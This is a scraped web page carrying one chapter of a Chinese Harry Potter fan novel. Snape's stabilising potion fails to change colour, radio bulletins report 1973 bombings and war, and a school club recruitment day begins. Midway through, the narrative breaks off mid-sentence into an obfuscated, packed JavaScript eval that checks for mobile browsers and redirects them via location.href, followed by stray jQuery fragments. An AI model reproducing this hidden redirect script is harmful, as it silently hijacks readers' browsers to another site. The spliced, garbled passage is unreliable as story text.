默认冷灰
24号文字
方正启体

76.广播与社团

作者:摩妮本书字数:K更新时间:
    罗萨利亚认为,斯内普多少是有些气急败坏了。


    一出费尔奇办公室的门,他就拉远了和她的距离。为了跟紧,罗萨利亚几乎是小步跑着在追他——


    好哇,挠个痒就能把斯内普惹毛了。


    “我又不会把你怕痒的事告诉别人。”罗萨利亚跑了两步。


    但斯内普拒绝搭理她。


    “我下次不这么干了!”罗萨利亚举起三根手指。


    斯内普连看都没看她一眼,继续往楼下走去。


    “西弗,”罗萨利亚凑上前说,“都是我不好——我让你挠回来行不行?”


    她英勇就义般指指自己的脖子。然而真奇怪,斯内普的脖子反倒涨红了。他想要说话,却因为分神差点被捉弄人的台阶绊得一头栽下去。


    这瞬间的狼狈令斯内普的嘴巴张了又闭,他最后咬牙切齿地说:“罗萨利亚——离我远点。”


    总而言之,他吃完饭就直接回斯莱特林休息室了。


    罗萨利亚只好独自跑去找阿莱西奥,把小天狼星和卢平弄丢预言家日报的事转述给了他。


    彼时,阿莱西奥正在拨弄收音机的按钮。据说阿尔法德·布莱克给它做了一些改造,使其能勉强在城堡内播报麻瓜和巫师两个频道的广播:


    “……刺啦——接下来为您播报……”熟悉的电波声在办公室回荡。阿莱西奥听完叙述,表现得并不惊讶:“噢,我知道这事。西弗勒斯已经告诉过我了。”


    “……9月8号,伦敦维多利亚车站售票处发生一起爆炸事故,造成5人受伤……刺啦……”


    罗萨利亚撇撇嘴说:“听上去你们俩没少背着我交流啊。”


    “哈哈,闲聊而已啦。”阿莱西奥笑了两声,用魔杖敲了敲收音机,令它的声音降低了一些,他接上她之前的话:“那么你对他们摄神取念了吗?我真的很好奇西里斯指望从报纸上找到什么信息。”


    “10号,国王十字车站与尤斯顿车站发生两起爆炸案,共计13人受伤……刺啦……12号,共发生三起炸弹爆炸事故……15号……”


    “没有。”罗萨利亚如实说:“莱姆斯说他答应了小天狼星要保密,我想了想,还是决定尊重他。”毕竟卢平也信守承诺,在帮她保守稳定剂的秘密。


    “图书馆补齐报纸需要时间。而且现在有詹姆斯·波特盯着,他们多少也会老实一阵子。”她补充道。


    “军警双方呼吁……减少外出……刺啦如果发现异常,请及时汇报……刺啦——”


    阿莱西奥轻轻颔首,对她的选择表示理解:“考虑得很周到,罗西娜——不用想太多,你好好休息就可以了。记得喝稳定剂!”


    “好的,叔叔。你也是。”罗萨利亚关上了办公室的大门。


    ……


    “刺啦……刺啦——”


    收音机的广播从九月播到了十月。


    “接下来为您继续播报……9月20号,爆炸再度发生……23号……10月2日,发生火情……4日……造成四人受伤……刺啦……”


    暖风散成了冷雨,淅淅沥沥地下个没完,滴落在窗上划出道道斑驳的水痕。


    “10月6日,埃、叙两国突袭以色列,第四次中东战争于赎罪日爆发……22日,联合国安理会第338号决议通过……要求停火……预计国际油价将大幅走高……”


    越是临近万圣节,天气就越是湿寒,两个小时的室外魁地奇训练也就越难熬——球场上空,罗萨利亚正郁闷地用咒语烘干自己,随后偏了偏身体,躲开了伯特伦·奥布里故意打过来的游走球。


    “刺啦……针对近日麻瓜社会频发的负面事件,有魔法部官员宣称,这或许与某一势力的逐步崛起存在联系……”


    从第二次训练开始,伯特伦就时不时地给她找这种麻烦。为防止出现和斯内普在校医院相见的场面,罗萨利亚不得不捏着鼻子对他摄神取念——他真的很少消停,除非看台上出现某位红发碧眼的漂亮女孩,这时,以伯特伦的脑容量,就不足以在偷看对方的同时筹谋好偷袭计划了。


    当然,今天莉莉是没来球场的。


    所以小巴蒂就得趣很多了——罗萨利亚偶尔厌烦了伯特伦的脑子,也会顺带看看他的。


    “……然而也有巫师认为,这纯属是麻瓜内部腐败、相互仇视的愚蠢结果……他们无力处理这种局面,必须寄希望于更高级的力量……刺啦……”


    而从刚刚的摄神取念结果来看,伯特伦在心中大骂“她怎么又躲开了”的时候,小巴蒂正啧啧地心道“他居然又没打中”。


    罗萨利亚感到自己额头上的青筋在狂跳。


    她现在真觉得自己有点像圣母玛利亚了,因为正常人应该在训练结束后绞尽脑汁给这个小恶魔的DADA作业打D,而她甚至还会好脾气地解答他额外的问题——


    不过今天是个例外。


    给小恶魔批作业的活儿要先放一放,她和阿莱西奥还有更重要的事情得做:


    斯内普在上个周完成了第十二次施咒,今天,他们就要去揭晓稳定剂制作的成败了。


    “……阿布拉科萨斯·马尔福表示……刺啦……唯有英明的巫师领导才能终结混乱、建立全新秩序……”


    “叔叔!我训练回来了!”


    罗萨利亚推开了办公室的大门——斯内普已经到了。穆宁、胡金和阿里奥特三只渡鸦正凑在他身后的沙发椅背上梳理羽毛。


    而阿莱西奥从另一把椅子上跳起来,“咔”地一声关掉了收音机。终于,滔滔不绝的广播声停歇了。


    他愉快地说:“那我们现在就去有求必应屋吧!”


    成百上千的万圣节南瓜灯装点着整个学校,蝙蝠和橘色飘带在空中交舞。他们一路来到八楼。由于已经是用餐时间,走廊上的学生并不多。趁没人注意,斯内普带头进了有求必应屋——狭小的楼梯间、良好的避光环境,这是罗萨利亚所熟悉的地方。


    此时一小锅魔药正放在这黑暗空间的中央。


    “噢。”阿莱西奥用发亮的魔杖抵住倾斜天花板,在确定自己不会撞到脑袋后才缓缓把腰背直起来,他嘟囔说:“这房间这么小呢。不过还挺让人有安全感的。”


    罗萨利亚瞟一眼坩埚,凑到斯内普身边——但他终于又开始允许她凑近了——问:“你紧张吗?”


    趁着斯内普停顿的空隙,阿莱西奥友好地鼓励道:“放轻松,别有压力。就算失败也没什么。”


    “不,我不觉得紧张。”斯内普低声说,目光炯炯地看着坩埚:“我是在赌它会成功。”


    “很有野心。”阿莱西奥说。


    “很有信心。”罗萨利亚说。


    两人纷纷朝他伸出了坚定的大拇指。


    斯内普那双乌黑的瞳仁从手势移向了罗萨利亚的眼睛。在目光交接的时刻,罗萨利亚产生了一种直觉——他似乎在邀请她摄神取念。


    她不太明白,但试探着做了。果不其然,斯内普没有激烈地抗拒她。不过他也没有向她敞开头脑。罗萨利亚依然与他的心绪隔着一道墙。


    然而——她心道,斯内普还是有些轻敌了。


    因为每周都会在魁地奇训练时使用摄神取念,罗萨利亚的这一能力又有了提升。这种程度的大脑封闭术不足以完全抵御她。罗萨利亚能够感受到斯内普细微的情感波动:


    自信、急切、骄傲……其实还是有点紧张的。但如斯内普所言,他关注的是能否成功,而并非是在担心失败。现在,他又变得平稳了……斯内普一向感觉得到她的入侵,这本该是令人不适的。可恰恰相反的是,他的情绪越来越安定,就像鱼游移在静水之下……


    多么有意思啊,罗萨利亚心想,像面对可怖的黑魔法时会两眼放光那样不同于人,斯内普也在对抗摄神取念的过程中获得了掌控感……就仿佛置身危险反倒能让他觉得安全似的。也许这就是他邀请她来脑中一游的原因——他显然在享受这份克制。


    现在,斯内普上前几步。


    他抬起魔杖指向了那个小坩埚。


    “羽加迪姆勒维奥萨。”


    “咔。”极细微的摩挲声。


    封闭坩埚的盖子悬浮到了空中。


    阿莱西奥伸出手,令魔杖的光亮照在魔药上。三个人不约而同地微微躬身——


    在这一瞬间,空气几乎凝滞了。


    静水也凝滞了。


    良久之后,阿莱西奥张了张口——而比他的声音先抵达罗萨利亚大脑的,是斯内普突如其来的封闭。她感到自己被彻底地推了出去,然后听到了声音:


    “……啊,没关系的,西弗勒斯。”


    阿莱西奥小声说:“实话讲,我也没见过有谁能一次就成呢,何况你还这么年轻。”


    斯内普一言不发地盯着魔药。罗萨利亚则悄悄地去看他——就算不用摄神取念,她这下也能察觉他的不可置信、沮丧、甚至恼怒了:


    因为稳定剂没有变色。它看起来和三个月前一模一样。这昭示出一个答案,那就是他失败了。


    又过了一会儿,阿莱西奥试探着说:“别难过——?”


    “我没有难过。”斯内普立即说,快得让罗萨利亚觉得他在嘴硬。但他急促地继续道:“我本来也没有——我知道——我明白——魔药从来不是有捷径的学问,没有一种药剂不需要经过反复而精确的试验和调配……我清楚这个过程。”


    他竭力使自己语气平静:“所以,这不会太难。我很快就能弄懂它——”


    “你肯定能的。”


    斯内普抿着嘴唇转过头。


    罗萨利亚注意到了他眼底翻涌的情绪。他压抑它


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243837|192924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    们就像打碎花瓶的孩子试图藏起碎片。


    于是她轻快地说:“这是迟早的事啦。我也实话讲——我还从没担心过这一点呢,西弗勒斯。”


    “……我会继续尝试,”斯内普小声说,“直到成功。”


    “当然,你有大把的时间。”罗萨利亚抬手扯了扯斯内普的袖子,说:“不过现在,我们先去礼堂吃饭吧,西弗?我有点饿了。”


    阿莱西奥也借势说:“哎呀,我也饿了,走吧走吧!”


    他愉快地走到门边,将有求必应屋打开一条缝,说:“对了,明天不是霍格莫德周嘛。正好,西弗勒斯,你先把稳定剂的事放一放,去干点你这个年纪该干的事,比如和罗西娜去佐科笑话店逛逛!我听说他们上新了万圣节限定产品——还有蜂蜜公爵,我敢打赌他们会推出特色糖果,不过你俩吃的时候得小心舌头。”


    罗萨利亚拉着斯内普往外走:“没错,我们还可以去三把扫帚,买点黄油啤酒——”


    “不行!”阿莱西奥突然说:“这个不行,罗西娜,你还不到能喝酒的年纪。酒精影响脑发育,你会变成小笨蛋的——罗西娜,你应该没有偷偷喝过酒吧?”


    “没有啊。”


    “她有。”


    “什么——?西弗勒斯你——叔叔,这是污蔑!”


    “罗西娜,你真的没有吗?”


    “我——他——你们两个什么时候结成同盟了啊?”


    三人朝底层走去,抵达门厅时,斯内普的状态已经调整了回来——从眼神上来看,他大概完全投入到了对过去三个月念咒的脑内复盘中,对于周遭逐渐嘈杂的环境不太关注了。


    阿莱西奥则被门厅内一个个支起的小棚子钩住了兴趣,停止了对罗萨利亚的滔滔不绝。他小声嘟囔:“哦,没错,就是今天,我想起来了。今天是社团和俱乐部的招新宣传日对吗?稍等,我就看一眼——”


    说着,阿莱西奥往漂浮旋转着“高布石俱乐部”招牌的小棚子走去,学生一见他就开始热情地打招呼。他也指着一盒漂亮的高布石玩具和人聊了起来,还顺口打探了它们的价格。


    这时,罗萨利亚在另一堆棚子的附近看到了熟悉的身影——准确来说,是熟悉的大眼睛。这太显眼了。潘多拉正在那儿,戴着热窥镜,和一位有着棉花糖似的白发的男人在聊天。紧接着,就仿佛那只大眼睛真的有了超脱视野的能力一样,潘多拉突然穿透人群看见她了。她朝罗萨利亚挥了挥手。


    罗萨利亚又看了一眼斯内普——他还在思考事情。那她暂时不打断他了。她朝潘多拉跑了过去。


    “晚上好,你吃完饭了吗?罗萨?”潘多拉问。


    “还没呢,正要去吃。”罗萨利亚回答:“你在——参与社团招新?”她看了看近旁的两个棚子,一个挂牌写着“妙语连连”,另一个写着“地精洞”:“啊,地精洞?我记得你在开学火车上跟我提过这个,你加入他们了吗?


    潘多拉看了一眼近旁的男巫,吃吃地笑了:“不,我加入的是‘妙语连连’俱乐部。比起报社,我还是更喜欢各种各样的魔咒,罗萨。不过——向你介绍:地精洞的社长,五年级的谢诺菲留斯·洛夫古德。”


    “啊……”


    这有些熟悉的名字令罗萨利亚一时出了神,随后她立刻注意到了谢诺菲留斯脖子上挂的那条项链——死亡圣器标识的项链。


    他是卢娜的爸爸,那么……等一下,魔咒?等一下……潘多拉难道是……?


    谢诺菲留斯露出了一个友好的笑容:“晚上好,拉文谢德小姐,有兴趣加入地精洞吗?图书馆的预言家日报被蝙蝠咬碎了,而本社恰好从各届学生手中收购过一些早年的报纸,入社即可享受免费借阅。”


    “晚上好——你说报纸被什么咬碎了?”罗萨利亚怀疑自己听错了。


    “蝙蝠。”谢诺菲留斯认真地说:“所有人都说这是两条狗干的,但我有种冥冥的预感,幕后黑手是一只蝙蝠。这是因为——蝙蝠视力不好。”


    潘多拉被他逗得哈哈大笑,笑得几乎要仰倒了。她略有些尖细的声音把周围一圈人的目光都吸引了过来。而罗萨利亚只觉得自己的脑子有些光滑:“嗯……请问,笑点在哪?”逻辑又在哪?


    “不、抱歉、哈哈……”潘多拉抹去眼角笑出来的泪花。在热窥镜的放大下,一滴泪比硬币都大。她说,“我想起了刚刚的一幕——刚刚,西里斯来过。谢诺菲留斯当着他的面说了类似的话哈哈哈……他不知道他就是其中之一,你都不知道西里斯的表情有多精彩哈哈哈哈……”


    “我想就是这句话惹恼了他。”谢诺菲留斯话虽这么说,脸上却没有半分抱歉:“他宁可花七个银西可包月租旧报纸看,也拒绝加入地精洞。这对他来说其实是一种损失。”


    “是吗?”一个声音幽幽地冒了出来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)